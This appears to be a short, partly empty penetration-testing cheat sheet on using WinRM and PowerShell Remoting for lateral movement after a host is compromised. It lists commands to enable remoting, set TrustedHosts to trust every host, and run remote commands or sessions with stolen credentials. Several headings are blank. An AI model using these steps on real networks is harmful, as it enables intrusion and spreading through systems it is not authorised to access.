WinRM for Lateral Movement
Enable PowerShell Remoting on the target (box needs to be compromised first)
Enable-PSRemoting -forceCheck if a given system is listening on WinRM port
Test-NetConnection <IP> -CommonTCPPort WINRMTrust all hosts
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -ForceCheck what hosts are trusted
Get-Item WSMan:\localhost\Client\TrustedHostsExecute command on remote host
Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname}Interactive session with explicit credentials
Enter-PSSession <host> -Credential <domain>\<user>Interactive session using Kerberos
Upload file to remote session
Download file from remote session
WinRM for Lateral Movement
Execution
Observations







Additional Useful Commands
References
Last updated